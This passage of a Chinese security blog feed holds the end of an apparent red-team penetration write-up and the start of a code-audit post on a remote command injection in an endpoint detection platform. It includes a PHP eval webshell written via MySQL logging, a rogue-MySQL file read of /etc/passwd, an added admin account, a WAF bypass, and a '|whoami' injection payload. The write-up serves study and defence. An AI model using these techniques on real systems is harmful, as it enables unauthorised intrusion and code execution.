<li><code>.git\/refs<\/code><\/li>\n<\/ol>\n\n<p>\u5148\u4e0b\u8f7d<code>.git\/index<\/code>\u3001<code>.git\/head<\/code>\u3001<code>.git\/refs<\/code>\u3001<code>.git\/logs<\/code>(\u6587\u4ef6\u76ee\u5f55\u90fd\u662f\u56fa\u5b9a\u7684\u65e0\u9700\u8003\u8651\u5176\u4ed6\u60c5\u51b5)\u800c\u540e\u89e3\u6790<code>index<\/code>\u83b7\u53d6\u7d22\u5f15\uff0c\u6839\u636e\u7d22\u5f15\u4f9d\u6b21\u4e0b\u8f7d<code>.git\/objects<\/code>\u5185\u7684\u6587\u4ef6\uff0c\u6700\u540e\u5168\u90e8\u4e0b\u8f7d\u5b8c\u6bd5\uff0c\u83b7\u53d6<code>master<\/code>\u5206\u652f(<code>refs\/heads\/master<\/code>\u6587\u4ef6)\u5bf9\u5e94\u7684\u503c\u5e26\u5165\u8be5\u547d\u4ee4<code>git reset --hard commit_id<\/code>\u5373\u53ef\u6062\u590d:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054710482497.jpg\" alt=\"-w793\" \/><\/p>\n\n<p>\u4f46\u53d1\u73b0\u9664\u6b64\u4e4b\u5916\uff0c\u53d1\u73b0\u6062\u590d\u7684\u6587\u4ef6\u5be5\u5be5\u65e0\u51e0\uff0c\u540e\u6765\u4e0b\u8f7d<code>.git\/logs\/head<\/code>\u53d1\u73b0\u8be5<code>.git<\/code>\u9879\u76ee\u8fd8\u6709\u5176\u4ed6\u5206\u652f:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059680019130.jpeg\" alt=\"-w742\" \/><\/p>\n\n<p>\u8fd9\u4e2a\u8bb0\u5f55\u4e2d\u6709\u4e24\u4e2aSHA1\u7684\u503c\uff0c<code>master<\/code>\u5bf9\u5e94\u524d\u8005\uff0c<code>shop<\/code>\u5bf9\u5e94\u540e\u8005\uff0c\u7b80\u5355\u4fee\u6539\u547d\u4ee4<code>git reset --hard shop_commit_id<\/code>\uff0c\u8fd8\u662f\u90a3\u4e00\u5957\u6d41\u7a0b\uff0c\u6062\u590d<code>shop<\/code>\u8fd9\u4e2a\u5206\u652f\u7684\u6e90\u7801\u5373\u53ef\u3002<\/p>\n\n<h3 id=\"\u83b7\u53d6\u5b50\u57df-webshell\">\u83b7\u53d6\u5b50\u57df Webshell<\/h3>\n\n<p>\u83b7\u5f97\u6e90\u7801\u4e4b\u540e\u7ffb\u6570\u636e\u5e93\u8d26\u53f7\u5bc6\u7801:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054714423847.jpg\" alt=\"-w307\" \/><\/p>\n\n<p>\u7531\u4e8e\u4e4b\u524d\u6211\u4eec\u5df2\u7ecf\u6709\u4e86\u4e00\u4e2a<code>phpinfo()<\/code>\u63a2\u9488\uff0c\u7f51\u7ad9\u7edd\u5bf9\u8def\u5f84\u5df2\u77e5\uff0c\u6240\u4ee5\u76f4\u63a5\u4e0a<code>phpMyAdmin<\/code>\u767b\u5f55\uff0c\u5c1d\u8bd5\u4f7f\u7528<code>into outfile<\/code>\uff0c\u6709<code>--secure-file-priv<\/code>\u9650\u5236\u65e0\u6cd5\u5199\u5165:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054716403383.jpg\" alt=\"-w767\" \/><\/p>\n\n<p>\u8f6c\u800c\u4f7f\u7528Mysql Log\u65e5\u5fd7\u5b58\u50a8\u7684\u65b9\u5f0f\u8fdb\u884c\u5199\u5165:<\/p>\n\n<pre><code class=\"language-sql\">set global general_log=on;\nset global_log_file='\/xxx\/www\/xxx.php';\nselect '&lt;?php @eval($_REQUEST[\"xxx\"]);?&gt;';\n<\/code><\/pre>\n\n<p>\u8bbf\u95ee\u76f8\u5173\u6587\u4ef6\u5374\u63d0\u793a\u6211\u65e0\u6cd5\u8bbf\u95ee(<strong>403\/AccessDefined<\/strong>):<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054717903557.jpg\" alt=\"\" \/><\/p>\n\n<p>\u9047\u5230\u8fd9\u79cd\u60c5\u51b5\u5c1d\u8bd5\u4ee5\u4e0b\u51e0\u79cd\u65b9\u6cd5:<\/p>\n\n<ol>\n  <li>\u4fee\u6539\u540e\u7f00\u8bbf\u95ee\uff0c\u5224\u65ad\u662f\u5426\u662f\u53ea\u9488\u5bf9\u811a\u672c\u540e\u7f00\u8fdb\u884c\u9650\u5236\uff08\u4e0a\u4f20.htaccess\u6587\u4ef6\uff09<\/li>\n  <li>\u4fee\u6539\u5185\u5bb9\u8bbf\u95ee\uff0c\u5224\u65ad\u662f\u5426\u6709\u5b89\u5168\u9632\u62a4\u5bf9\u5185\u5bb9\u8fdb\u884c\u9650\u5236<\/li>\n  <li>\u5982\u82e5\u4ee5\u4e0a\u5747\u672a\u8bbf\u95ee\u6210\u529f\uff0c\u5219\u53ef\u4ee5\u8003\u8651\u8986\u76d6\u539f\u6587\u4ef6\u5199\u5165<\/li>\n<\/ol>\n\n<p>\u8fd9\u91cc\u6211\u7684\u60c5\u51b5\u662f\u7b2c\u4e09\u79cd\uff0c\u5927\u6982\u63a8\u6d4b\u53ef\u80fd\u662f\u56e0\u4e3a\u65b0\u5efa\u7684\u6587\u4ef6\u6ca1\u6709\u6267\u884c\u6743\u9650\u6240\u5bfc\u81f4\uff0c\u56e0\u4e3a\u8fd9\u91cc\u6211\u4eec\u5df2\u7ecf\u6709\u6e90\u7801\u4e86\u6240\u4ee5\u53ef\u4ee5\u76f4\u63a5\u627e\u5df2\u6709\u7684\u6587\u4ef6(<strong>\u5efa\u8bae\u9009\u62e9\u975e\u4e1a\u52a1\u76f8\u5173\u7684\u6587\u4ef6<\/strong>)\u8fdb\u884c\u5199\u5165(<strong>\u8bb0\u5f97\u4e8b\u540e\u6062\u590d<\/strong>):<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054723563640.jpg\" alt=\"-w562\" \/><\/p>\n\n<p>\u6267\u884c<code>phpinfo();<\/code>\u51fd\u6570\u53ef\u4ee5\uff0c\u4f46\u65e0\u6cd5\u76f4\u63a5\u4f7f\u7528\u7ba1\u7406\u5de5\u5177\u8fde\u63a5\uff0c\u6293\u5305\u53d1\u73b0\u76ee\u6807\u7f51\u7ad9\u4e0a\u4e86\u4e91WAF\uff0c\u5bf9\u8bf7\u6c42\u5185\u5bb9\u62e6\u622a\u4e86(\u8be5WAF\u8fd8\u633a\u5f31)\uff0c\u8fd9\u79cd\u60c5\u51b5\u8fd8\u662f\u6709\u5f88\u591a\u4e2d\u65b9\u5f0f:<\/p>\n\n<ol>\n  <li>\u914d\u5408Cknife\u3001\u8681\u5251\u7b49\u81ea\u5b9a\u4e49\u4fee\u6539\u4f20\u8f93\u5185\u5bb9(Base64\u7f16\u7801\u7b49\u7b49)\uff0c\u4f46\u9700\u8981\u4fee\u6539PHP\u6587\u4ef6\u5185\u5bb9\u914d\u5408\u89e3\u7801<\/li>\n  <li>\u76f4\u63a5\u4e0a\u51b0\u874e\u3001\u54e5\u65af\u62c9\u7684\u9a6c\u5c31\u884c\u4e86<\/li>\n<\/ol>\n\n<p>\u4e3a\u56fe\u65b9\u4fbf\uff0c\u9009\u62e9<code>\u51b0\u874e3<\/code>\uff0c\u4f7f\u7528<code>file_put_contents<\/code>\u5199\u5165\u8fde\u63a5\u5c31\u884c(\u8fd9\u90fd\u4e0d\u62e6\uff0cWAF\u582a\u5fe7):<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054723222387.jpg\" alt=\"-w362\" \/><\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16054724217021.jpg\" alt=\"-w699\" \/><\/p>\n\n<h3 id=\"\u7784\u51c6\u9776\u6807\">\u7784\u51c6\u9776\u6807<\/h3>\n\n<p>\u8fdb\u5165\u5b50\u57df\u7684Webshell\u53d1\u73b0\u5185\u7f51\u65e0\u673a\u5668\u3001\u5c31\u662f\u4e00\u4e2a\u4e91\u670d\u52a1\u5668\uff0c\u4e00\u5f00\u59cb\u8bef\u4ee5\u4e3a\u6253\u4e2d\u9776\u6807\uff0c\u56e0\u4e3a\u5728\u4e3b\u6218\u53d1\u73b0\u4e00\u4e2a\u8def\u5f84\u6cc4\u6f0f:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059692424662.jpg\" alt=\"-w503\" \/><\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059693308877.jpg\" alt=\"-w170\" \/><\/p>\n\n<p>\u800c\u5b50\u57df\u670d\u52a1\u5668\u4e0a\u4e5f\u6709\u5bf9\u5e94\u76ee\u5f55\u5e76\u4e14\u6587\u4ef6\u4e00\u6a21\u4e00\u6837\uff0c\u4f46\u662f\u4fee\u6539\u6587\u4ef6\u5374\u6ca1\u53cd\u5e94\u4e0d\u751f\u6548\uff0c\u731c\u6d4b\u5f88\u6709\u53ef\u80fd\u4e3b\u6218\u4e1a\u52a1\u66fe\u7ecf\u5728\u8fd9\u4e2a\u5b50\u57df\u670d\u52a1\u5668\u4e0a\uff0c\u4f46\u540e\u671f\u8fdb\u884c\u4e86\u8f6c\u79fb\uff0c\u539fWeb\u6587\u4ef6\u8fd8\u7559\u7740\u3002<\/p>\n\n<p>\u5c1d\u8bd5\u7ffb\u7ffb\u6e90\u7801\uff0c\u627e\u5bc6\u7801\uff0c\u540e\u6765\u627e\u5230\u4e86\u51e0\u4e2a\u6709\u7528\u7684\u4e1c\u897f:1.Adminer\u6587\u4ef6 2.\u6570\u636e\u914d\u7f6e\u4fe1\u606f<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059695408421.jpg\" alt=\"-w500\" \/><\/p>\n\n<p><code>Adminer<\/code>\uff08\u7c7b\u4f3cphpMyAdmin\u7684\u6570\u636e\u5e93\u7ba1\u7406\u5de5\u5177\uff09\u6587\u4ef6\u662f\u968f\u673a\u7684: <code>adminerxxxxxxxxx.php<\/code>\uff0c\u5b8c\u5168\u65e0\u6cd5\u626b\u5230\uff0c\u6570\u636e\u5e93\u914d\u7f6e\u5bc6\u7801\u4e0e\u5b50\u57df\u5b8c\u5168\u4e00\u6837\u3002<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059702838497.jpg\" alt=\"-w626\" \/><\/p>\n\n<p>\u4f7f\u7528\u6570\u636e\u914d\u7f6e\u5bc6\u7801\u65e0\u6cd5\u767b\u5f55\uff0c\u4f46\u662f\u8fd9\u91cc<code>Adminer<\/code>\u53ef\u4ee5\u76f4\u63a5\u8fde\u5916\u7f51\u7684<code>Mysql<\/code>\u6570\u636e\u5e93\uff0c\u4f7f\u7528\u811a\u672c( https:\/\/github.com\/Gifts\/Rogue-MySql-Server )\u4f2a\u9020\u4e00\u4e2aMysql\u670d\u52a1\u7aef\u8bfb\u53d6\u5bf9\u5e94\u6587\u4ef6\u5c31\u597d\uff0c\u8fd9\u8fb9\u4ee5<code>\/etc\/passwd<\/code>\u4e3a\u4f8b:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059704881880.jpg\" alt=\"-w599\" \/><\/p>\n\n<p>\u5982\u4e0a\u56fe\u6240\u793a\u662f\u6210\u529f\u8bfb\u53d6\u5230\u7684\uff0c\u800c\u6211\u4eec\u5728\u5b50\u57df\u4e0a\u4e5f\u77e5\u9053\u4e86\u5bf9\u5e94\u7684\u914d\u7f6e\u6587\u4ef6\u8def\u5f84\uff0c\u76f4\u63a5\u4f2a\u9020\u8bfb\u53d6\u5373\u53ef\u3002<\/p>\n\n<p>\u518d\u4f7f\u7528Adminer\u767b\u5f55\u8fdb\u53bb\u65f6\uff0c\u4f7f\u7528\u5982\u4e0b\u51e0\u79cd\u65b9\u6cd5\u5c1d\u8bd5\u83b7\u53d6Webshell:<\/p>\n\n<ol>\n  <li>into outfile -&gt; \u5931\u8d25<\/li>\n  <li>Mysql log -&gt; \u5931\u8d25<\/li>\n  <li>Adminer\u662f\u6700\u65b0\u7248\u672c\u65e0\u6f0f\u6d1e -&gt; \u5931\u8d25<\/li>\n  <li>\u83b7\u53d6\u7ba1\u7406\u5458\u5bc6\u7801\u65e0\u6cd5\u89e3\u5bc6 -&gt; \u5931\u8d25<\/li>\n<\/ol>\n\n<p>\u6700\u7ec8\u9009\u62e9\u6dfb\u52a0\u65b0\u7ba1\u7406\u5458\u767b\u5f55:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059709196188.jpg\" alt=\"-w592\" \/><\/p>\n\n<p>\u767b\u5f55\u4e4b\u540e\u5bfb\u627e\u5bf9\u5e94\u4e0a\u4f20\u70b9(\u4ee5\u6700\u77ed\u653b\u51fb\u8def\u5f84\u7684\u65b9\u5f0f\u8fdb\u884cGetWebShell):<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059709890399.jpg\" alt=\"-w551\" \/><\/p>\n\n<p>\u6d4b\u8bd5\u5982\u4e0b\u540e\u7f00\u53ca\u670d\u52a1\u5668\u7ed3\u679c:<\/p>\n\n<pre><code>Key.jpg -&gt; \u4e0a\u4f20\u6210\u529f\nKey.php -&gt; \u4e0a\u4f20\u5931\u8d25WAF\u62e6\u622a\nKey.phtml -&gt; \u4e0a\u4f20\u5931\u8d25\u6587\u4ef6\u7c7b\u578b\u4e0d\u5141\u8bb8\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2020-11-22\/16059713996506.jpg\" alt=\"-w474\" \/><\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059714116942.jpg\" alt=\"-w356\" \/><\/p>\n\n<p>\u6211\u4eec\u5728\u5df2\u7ecf\u6709\u6e90\u7801\u7684\u60c5\u51b5\u4e0b\uff0c\u627e\u5230\u5bf9\u5e94\u7684\u4ee3\u7801\u8fdb\u884c\u5ba1\u8ba1\u5c31\u884c\uff0c\u53d1\u73b0\u8fd9\u91cc\u662f\u767d\u540d\u5355\u8bbe\u7f6e\u65e0\u6cd5\u7ed5\u8fc7:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059714739649.jpg\" alt=\"\" \/><\/p>\n\n<p>\u76f4\u63a5\u5173\u952e\u8bcd\u5bfb\u627e\u4e0a\u4f20\u529f\u80fd\uff0c\u53d1\u73b0\u51fd\u6570:<code>xxx_upload_file<\/code>\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u4e0a\u4f20<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059715071352.jpg\" alt=\"\" \/><\/p>\n\n<p>\u540e\u7eed\u6784\u5efa\u8bf7\u6c42\u5305\u4ee5\u53ca\u4f7f\u7528\u56de\u8f66\u76f4\u63a5\u7ed5\u8fc7<code>CloudWAF<\/code>\uff0c\u4e0a\u4f20\u6210\u529f:<\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059715574505.jpg\" alt=\"\" \/><\/p>\n\n<p><img src=\"\/images\/2020-11-22\/16059716055507.jpg\" alt=\"-w436\" \/><\/p>\n\n<p>\u81f3\u6b64\u9776\u6807\u62ff\u5230\uff0c\u7ed3\u675f\u3002<\/p>\n\n<h1 id=\"\u6587\u672b\">\u6587\u672b<\/h1>\n\n<p>\u5f88\u591a\u65f6\u5019\u8fd8\u662f\u9700\u8981\u53bb\u63a2\u5bfb\u4e8b\u7269\u7684\u672c\u8d28\u548c\u539f\u7406\uff0c\u624d\u80fd\u66f4\u52a0\u6e05\u6670\u660e\u4e86\u7684\u4e86\u89e3\u8fd9\u4e2a\u4e8b\u7269\uff0c\u5426\u5219\u4ec0\u4e48\u4e1c\u897f\u90fd\u662f\u73b0\u6709\u7684\u6210\u54c1\u4e00\u628a\u68ad\uff0c\u9047\u5230\u68ad\u4e0d\u4e86\uff0c\u5bb9\u6613\u51fa\u73b0\u60ef\u6027\u601d\u7ef4\uff0c\u53ef\u80fd\u5c31\u76f4\u63a5\u7565\u8fc7\u4e86\u3002<\/p>\n\n","pubDate":"2020-11-22T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-11-22\/1","guid":"https:\/\/gh0st.cn\/archives\/2020-11-22\/1"},{"title":"\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398\uff08RCE\uff09","description":"<h1 id=\"\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398rce\">\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398\uff08RCE\uff09<\/h1>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u7ee7\u4e0a\u4e00\u6b21\u5bf9\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0<strong>\u6743\u9650\u7ed5\u8fc7<\/strong>\u6f0f\u6d1e\u7684\u5ba1\u8ba1\u6d41\u7a0b\uff0c\u73b0\u5206\u4eab\u5bf9\u8be5\u5e73\u53f0\u8fdb\u884c\u4ee3\u7801\u5ba1\u8ba1\u540e\u6316\u6398\u5230\u7684\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n\n<p>\u4e0a\u7bc7\u6587\u7ae0\u5176\u5b9e\u91c7\u7528\u7684\u662f\u901a\u8bfb\u4ee3\u7801\u903b\u8f91\u7684\u65b9\u6cd5\u8fdb\u884c\u6f0f\u6d1e\u6316\u6398\uff0c\u90a3\u4e48\u672c\u6b21\u6211\u4eec\u4f7f\u7528\u654f\u611f\u51fd\u6570\u56de\u6eaf\u7684\u65b9\u6cd5\uff08\u4ee3\u7801\u5ba1\u8ba1\u65b9\u6cd5\u901a\u5e38\u5206\u4e3a\u4e09\u7c7b: \u901a\u8bfb\u5168\u6587\u3001\u654f\u611f\u51fd\u6570\u53c2\u6570\u56de\u6eaf\u3001\u5b9a\u5411\u529f\u80fd\u5206\u6790\uff09\u6765\u8fdb\u884c\u6f0f\u6d1e\u6316\u6398\u3002<\/p>\n\n<h2 id=\"\u5ba1\u8ba1\u6d41\u7a0b\">\u5ba1\u8ba1\u6d41\u7a0b<\/h2>\n\n<h2 id=\"\u5b9a\u4f4d\u654f\u611f\u51fd\u6570\">\u5b9a\u4f4d\u654f\u611f\u51fd\u6570<\/h2>\n\n<p>\u524d\u6587\u8bf4\u5230\uff0c\u4e0d\u662f\u4e00\u628a\u68ad\u76840day\u90fd\u4e0d\u53eb0day\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5bf9\u547d\u4ee4\u6267\u884c\u3001\u4ee3\u7801\u6267\u884c\u7b49\u6f0f\u6d1e\u76f8\u5173\u654f\u611f\u51fd\u6570\u8fdb\u884c\u5168\u6587\u641c\u7d22\uff0c\u654f\u611f\u51fd\u6570\u5217\u8868\u5982\u4e0b :<\/p>\n\n<pre><code class=\"language-php\">exec()\npassthru()\nproc_open()\nshell_exec()\nsystem()\npopen()\neval() \/\/\u975e\u51fd\u6570\nassert()\npreg_replace()\n<\/code><\/pre>\n\n<p>\u641c\u7d22\u5173\u952e\u8bcd <code>exec(<\/code>\uff0c\u53d1\u73b0\u4e00\u5904\u6587\u4ef6 <code>\/ldb\/dc.php<\/code> \u81ea\u5b9a\u4e49\u4e86\u547d\u4ee4\u6267\u884c\u4ee3\u7801\uff0c\u51fd\u6570\u4f53\u662f\u8c03\u7528\u7684 <code>exec<\/code> \u51fd\u6570 :<\/p>\n\n<pre><code class=\"language-php\">\/**\n * \u6267\u884c\u5916\u90e8\u7a0b\u5e8f\n * @param string $command \u6267\u884c\u547d\u4ee4\n * @param array  $output  \u8f93\u51fa\u4fe1\u606f\n * @param int    $ret     \u8fd4\u56de\u503c\n * @return string \u8fd4\u56de\u6267\u884c\u7ed3\u679c\n *\/\nfunction ldb_exec($command, &amp;$output, &amp;$ret) {\n    if (!ldb_is_linux()) {\n        $data = exec($command, $output, $ret);\n    } else {\n        pcntl_signal(SIGCHLD, SIG_DFL);\n        $data = exec($command, $output, $ret);\n        pcntl_signal(SIGCHLD, SIG_IGN);\n    }\n    return $data;\n}\n<\/code><\/pre>\n\n<h2 id=\"\u5bfb\u627e\u5371\u9669\u70b9\">\u5bfb\u627e\u5371\u9669\u70b9<\/h2>\n\n<h3 id=\"binmapreduceappwebdevice_linkageprocess_csspphp\">\/bin\/mapreduce\/app\/web\/device_linkage\/process_cssp.php<\/h3>\n\n<h4 id=\"exec_slog_action-\u533f\u540d\u51fd\u6570\u5206\u6790\">exec_slog_action \u533f\u540d\u51fd\u6570\u5206\u6790<\/h4>\n\n<p>\u5982\u4e0a\u6240\u8ff0\uff0c\u6211\u4eec\u77e5\u9053\u4e86 <code>ldb_exec<\/code> \u51fd\u6570\u4e3a\u81ea\u5b9a\u4e49\u547d\u4ee4\u6267\u884c\u4ee3\u7801\uff0c\u6211\u4eec\u60f3\u5bfb\u627e\u5229\u7528\u70b9\u5c31\u9700\u8981\u8ddf\u8e2a\u4e0b\u8be5\u51fd\u6570\u5728\u54ea\u88ab\u5f15\u7528\uff0c\u7136\u540e\u5206\u6790\u5177\u4f53\u7684\u4ee3\u7801\u770b\u662f\u5426\u53ef\u4ee5\u5229\u7528\u3002<\/p>\n\n<p>\u8001\u5957\u8def\uff0c\u5168\u5c40\u641c\u7d22 <code>ldb_exec(<\/code> \u53d1\u73b0\u6709\u5f88\u591a\u5904\u8c03\u7528\u4e86\uff0c\u5176\u4e2d\u9605\u8bfb\u8d77\u6765\u8f83\u4e3a\u901a\u4fd7\u6613\u61c2\u7684\u4e3a <code>\/bin\/mapreduce\/app\/web\/device_linkage\/process_cssp.php<\/code> \u7684\u533f\u540d\u51fd\u6570 <code>$exec_slog_action<\/code> :<\/p>\n\n<pre><code class=\"language-php\">$exec_slog_action = function($object,$params){\n    $data = $params[\"data\"];\n\n    if (!isset($data[\"params\"])) {\n        ldb_error(\"required parameter missing params is\".json_encode($params));\n        $object-&gt;err_code = EXEC_SLOG_ACTION_PARAM_ERROR;\n        return -1;\n    }\n\n    $data[\"params\"] = ldb_mapreduce_invoke(\"call_method\", \"app.web.common.validation.shell_injection_check\",\n        \"shell_argv_transform\", $data[\"params\"]);\n\n    $command = \"curl -k 'http:\/\/127.0.0.1:9081\/?\".$data[\"params\"].\"'\";\n    ldb_debug(\"exec command: \".$command);\n    ldb_exec($command, $output, $ret);\n    if ($ret !== 0) {\n        ldb_error(\"exec slog action fail, command: $command, error: \".$output);\n        $object-&gt;err_code = EXEC_SLOG_ACTION_FAILED;\n        return -1;\n    }\n\n    $data = $output;\n    response_linkage_dev_msg(SUCCESS,$data);\n    return 0;\n};\n<\/code><\/pre>\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u5f88\u5bb9\u6613\u7406\u89e3\uff0c\u8d4b\u503c\u6821\u9a8c\uff0c\u518d\u8fc7\u4e00\u904d <code>\/bin\/mapreduce\/app\/web\/common\/validation\/shell_injection_check<\/code> \u6587\u4ef6 \u51fd\u6570 <code>shell_argv_transform<\/code> :<\/p>\n\n<pre><code class=\"language-php\">\/\/ \u8f6c\u4e49\u53c2\u6570\n$shell_argv_transform = function($argv) use(&amp;$shell_argv_transform)\n{\n    $type = strtolower(gettype($argv));\n    if ($type == \"array\") \n    {\n        foreach ($argv as $key =&gt; $value)\n        {\n            $argv[$key] = $shell_argv_transform($value);\n        }\n    } \n    else if (!is_null($argv) &amp;&amp; !empty($argv)) \n    {\n        $argv = escapeshellarg($argv);\n    }\n    \n    return $argv;\n};\n<\/code><\/pre>\n\n<p>\u8fd9\u5c31\u662f\u4e00\u6bb5\u7b80\u5355\u7684\u8f6c\u4e49\uff0c\u5982\u679c\u4f20\u5165\u7684\u53d8\u91cf <code>$argv<\/code> \u662f\u6570\u7ec4\u5219\u904d\u5386\u8fdb\u884c\u51fd\u6570\u9012\u5f52\u6700\u540e\u901a\u8fc7 <code>escapeshellarg<\/code> \u51fd\u6570\u8f6c\u4e49\uff08 \u5b98\u65b9\u91ca\u4e49: <strong>escapeshellarg() \u5c06\u7ed9\u5b57\u7b26\u4e32\u589e\u52a0\u4e00\u4e2a\u5355\u5f15\u53f7\u5e76\u4e14\u80fd\u5f15\u7528\u6216\u8005\u8f6c\u7801\u4efb\u4f55\u5df2\u7ecf\u5b58\u5728\u7684\u5355\u5f15\u53f7\uff0c\u8fd9\u6837\u4ee5\u786e\u4fdd\u80fd\u591f\u76f4\u63a5\u5c06\u4e00\u4e2a\u5b57\u7b26\u4e32\u4f20\u5165 shell \u51fd\u6570\uff0c\u5e76\u4e14\u8fd8\u662f\u786e\u4fdd\u5b89\u5168\u7684\u3002<\/strong> \uff09\uff0c\u5982\u679c\u4e0d\u662f\u6570\u7ec4\u5219\u76f4\u63a5\u8fdb\u884c\u589e\u52a0\u8f6c\u4e49\u3002<\/p>\n\n<p>\u7ee7\u7eed\u8ddf\u8fdb\u770b\u4ee3\u7801\uff0c\u4f60\u4f1a\u53d1\u73b0 <code>$command = \"curl -k 'http:\/\/127.0.0.1:9081\/?\".$data[\"params\"].\"'\";<\/code> \u662f\u62fc\u63a5\u7684\uff0c\u6700\u540e\u7ecf\u8fc7 <code>ldb_exec<\/code> \u8fdb\u884c\u547d\u4ee4\u6267\u884c\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u7ba1\u9053\u7b26\u7684\u65b9\u5f0f\u8fdb\u884c\u5176\u4ed6\u547d\u4ee4\u7684\u6ce8\u5165: <code>|whoami<\/code>\uff0c\u4f46\u8fd9\u91cc\u5de7\u5999\u7684\u662f\u7ecf\u8fc7 <code>escapeshellarg<\/code> \u51fd\u6570\u5904\u7406\u540e\u6ce8\u5165\u7684\u547d\u4ee4\u5c31\u53d8\u6210\u4e86 <code>'|whoami'<\/code>\uff0c\u6700\u540e\u6267\u884c\u7684\u547d\u4ee4\u5c31\u53d8\u6210\u4e86: <code>curl -k 'http:\/\/127.0.0.1:9081\/?'|whoami''<\/code>\uff0c\u76f4\u63a5\u5e2e\u52a9\u6211\u4eec\u95ed\u5408\u547d\u4ee4\u4e86\u3002<\/p>\n\n<p>\u90a3\u4e48\u6211\u4eec\u53ea\u9700\u8981\u53ef\u4ee5\u63a7\u5236 <code>$params['data']['params']<\/code> \u7684\u503c\u5373\u53ef\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u3002<\/p>\n\n<h2 id=\"\u63a7\u5236\u70b9\u5bfb\u627e\">\u63a7\u5236\u70b9\u5bfb\u627e<\/h2>\n\n<h3 id=\"binwebdev_linkage_launchphp\">\/bin\/web\/dev_linkage_launch.php<\/h3>\n\n<h4 id=\"get_opr-\u51fd\u6570\u5206\u6790\">get_opr \u51fd\u6570\u5206\u6790<\/h4>\n\n<p>\u7531\u4e8e <code>\/bin\/mapreduce\/<\/code> \u4e0b\u7684\u6587\u4ef6\uff0c\u6211\u4eec\u6ca1\u529e\u6cd5\u76f4\u63a5\u8bbf\u95ee\u8c03\u7528\u5c31\u9700\u8981\u5168\u5c40\u641c\u7d22 <code>exec_slog_action<\/code> \u770b\u4e0b\u8c01\u8c03\u7528\u4e86\u8fd9\u6bb5\u4ee3\u7801\uff0c\u53d1\u73b0\u6587\u4ef6 <code>\/bin\/web\/dev_linkage_launch.php<\/code>\uff08 \u6b64\u5904\u5e94\u611f\u89c9\u5230\u5174\u594b\uff0c\u6bd5\u7adf\u6211\u4eec\u80fd\u8bbf\u95ee\u7684\u8def\u5f84\u5c31\u662f <code>\/bin\/web\/<\/code> \uff09 \u6709\u4e00\u5904\u53ef\u7591\u51fd\u6570\u4f53\uff08 \u51fd\u6570 <code>get_opr<\/code> \uff09 :<\/p>\n\n<pre><code class=\"language-php\">function get_opr($req_url){\n    ...\n    \/\/CSSP\u8bf7\u6c42\n    if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){\n        return EXEC_SLOG_ACTION;\n    }\n    ...\n    \/\/\u68c0\u67e5url\u7684\u5408\u6cd5\u6027\n    if($req_url !== AGENT_INFO_URL &amp;&amp;\n       $req_url !== SCAN_ABOUT_URL &amp;&amp;\n       $req_url !== EDR_INFO_ABOUT_URL &amp;&amp;\n       $req_url !== EVIDENCE_INFO_URL){\n        ldb_error(\"no response about this url :\".$req_url);\n        throw new Exception(ldb_get_lang(\"NO_RESPONSE_ABOUT_THIS_URL\"));\n    }\n    \/\/\u83b7\u53d6url\u4e2d\u7684\u53c2\u6570\n    $url_params = get_url_param();\n    $method = $url_params[METHOD];\n    global $opr_arr;\n    if(isset($opr_arr[$method])){\n        $opr = $opr_arr[$method];\n    }\n    else{\/\/\u65e0\u6b64url\u7684\u54cd\u5e94\n        ldb_error(\"no response about this url: \" .$req_url);\n        throw new Exception(ldb_get_lang(\"NO_RESPONSE_ABOUT_THIS_URL\"));\n    }\n    return $opr;\n}\n<\/code><\/pre>\n\n<p>\u5224\u65ad\u53d8\u91cf <code>$req_url<\/code> \u503c\u662f\u5426\u4e0e\u5e38\u91cf <code>STD_CSSP_EXEC_SLOG_ACTION_URL<\/code> \u503c\u4e00\u81f4\uff0c\u4e00\u81f4\u5219\u8fd4\u56de\u5e38\u91cf <code>EXEC_SLOG_ACTION<\/code>\uff0c\u6700\u540e\u5982\u679c\u8bf7\u6c42\u7684\u5730\u5740\u975e\u5e38\u91cf\u4e2d\u5b9a\u4e49\u7684\uff0c\u5219\u8fdb\u884cURL\u5224\u65ad\u5408\u6cd5\u6027\uff08 \u6211\u4eec\u6ca1\u529e\u6cd5\u76f4\u63a5\u8bbf\u95ee <code>dev_linkage_launch.php<\/code> \uff09\u3002<\/p>\n\n<p>\u6211\u4eec\u5148\u770b\u5e38\u91cf <code>STD_CSSP_EXEC_SLOG_ACTION_URL<\/code> 